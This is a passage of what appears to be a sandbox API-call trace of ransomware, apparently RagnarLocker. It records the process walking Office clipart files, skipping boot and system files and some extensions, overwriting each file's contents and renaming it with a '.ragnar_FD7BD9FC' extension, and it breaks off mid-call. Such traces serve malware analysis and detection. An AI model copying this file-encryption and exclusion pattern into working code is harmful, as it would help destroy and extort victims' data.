lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="autorun.inf") returned 1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="boot.ini") returned 1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="bootfont.bin") returned 1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="bootsect.bak") returned 1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="bootmgr") returned 1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="bootmgr.efi") returned 1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="bootmgfw.efi") returned 1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="desktop.ini") returned 1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="iconcache.db") returned 1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="ntldr") returned -1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="ntuser.dat") returned -1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="ntuser.dat.log") returned -1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="ntuser.ini") returned -1 [0085.555] lstrcmpiW (lpString1="J0187835.WMF", lpString2="thumbs.db") returned -1 [0085.555] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.555] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.555] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.555] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.555] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.555] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.555] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf")) returned 0x20 [0085.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.556] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9344) returned 1 [0085.556] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2477, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.556] GetProcessHeap () returned 0x580000 [0085.556] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.556] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.557] VirtualAlloc (lpAddress=0x0, dwSize=0x2480, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.557] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2480, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2480, lpOverlapped=0x0) returned 1 [0085.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.559] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2480, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.559] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2480, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2480, lpOverlapped=0x0) returned 1 [0085.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2480, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.559] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2480, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.559] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.559] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.559] GetProcessHeap () returned 0x580000 [0085.559] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.559] CloseHandle (hObject=0xf4) returned 1 [0085.560] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" [0085.560] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.ragnar_FD7BD9FC" [0085.560] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.560] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1 [0085.560] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.560] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187837.WMF" | out: lpString1="J0187837.WMF") returned="J0187837.WMF" [0085.560] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned=".WMF" [0085.560] lstrcmpiW (lpString1="J0187837.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.560] lstrcmpiW (lpString1="J0187837.WMF", lpString2="autorun.inf") returned 1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="boot.ini") returned 1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="bootfont.bin") returned 1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="bootsect.bak") returned 1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="bootmgr") returned 1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="bootmgr.efi") returned 1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="bootmgfw.efi") returned 1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="desktop.ini") returned 1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="iconcache.db") returned 1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="ntldr") returned -1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="ntuser.dat") returned -1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="ntuser.dat.log") returned -1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="ntuser.ini") returned -1 [0085.561] lstrcmpiW (lpString1="J0187837.WMF", lpString2="thumbs.db") returned -1 [0085.561] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.561] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.561] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.561] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.561] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.561] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.561] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf")) returned 0x20 [0085.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.562] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16354) returned 1 [0085.562] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3fd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.562] GetProcessHeap () returned 0x580000 [0085.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.562] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.564] VirtualAlloc (lpAddress=0x0, dwSize=0x3fe2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.564] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3fe2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3fe2, lpOverlapped=0x0) returned 1 [0085.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.565] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3fe2, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.565] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3fe2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3fe2, lpOverlapped=0x0) returned 1 [0085.565] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3fe2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.565] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.566] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3fe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.566] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.566] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.566] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.566] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.566] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.566] GetProcessHeap () returned 0x580000 [0085.566] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.566] CloseHandle (hObject=0xf4) returned 1 [0085.566] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" [0085.566] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.ragnar_FD7BD9FC" [0085.566] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.567] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1 [0085.567] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.567] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187839.WMF" | out: lpString1="J0187839.WMF") returned="J0187839.WMF" [0085.567] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned=".WMF" [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="autorun.inf") returned 1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="boot.ini") returned 1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="bootfont.bin") returned 1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="bootsect.bak") returned 1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="bootmgr") returned 1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="bootmgr.efi") returned 1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="bootmgfw.efi") returned 1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="desktop.ini") returned 1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="iconcache.db") returned 1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="ntldr") returned -1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="ntuser.dat") returned -1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="ntuser.dat.log") returned -1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="ntuser.ini") returned -1 [0085.567] lstrcmpiW (lpString1="J0187839.WMF", lpString2="thumbs.db") returned -1 [0085.567] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.567] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.567] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.567] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.567] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.567] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.568] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf")) returned 0x20 [0085.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.568] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5372) returned 1 [0085.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.568] GetProcessHeap () returned 0x580000 [0085.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.568] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.569] VirtualAlloc (lpAddress=0x0, dwSize=0x14fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.570] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x14fc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x14fc, lpOverlapped=0x0) returned 1 [0085.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x14fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.571] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x14fc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x14fc, lpOverlapped=0x0) returned 1 [0085.571] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x14fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.571] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x14fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.571] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.571] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.571] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.571] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.571] GetProcessHeap () returned 0x580000 [0085.571] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.571] CloseHandle (hObject=0xf4) returned 1 [0085.572] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" [0085.572] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.ragnar_FD7BD9FC" [0085.572] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.572] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1 [0085.572] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.572] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0187847.WMF" | out: lpString1="J0187847.WMF") returned="J0187847.WMF" [0085.572] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF") returned=".WMF" [0085.572] lstrcmpiW (lpString1="J0187847.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.572] lstrcmpiW (lpString1="J0187847.WMF", lpString2="autorun.inf") returned 1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="boot.ini") returned 1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="bootfont.bin") returned 1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="bootsect.bak") returned 1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="bootmgr") returned 1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="bootmgr.efi") returned 1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="bootmgfw.efi") returned 1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="desktop.ini") returned 1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="iconcache.db") returned 1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="ntldr") returned -1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="ntuser.dat") returned -1 [0085.573] lstrcmpiW (lpString1="J0187847.WMF", lpString2="ntuser.dat.log") 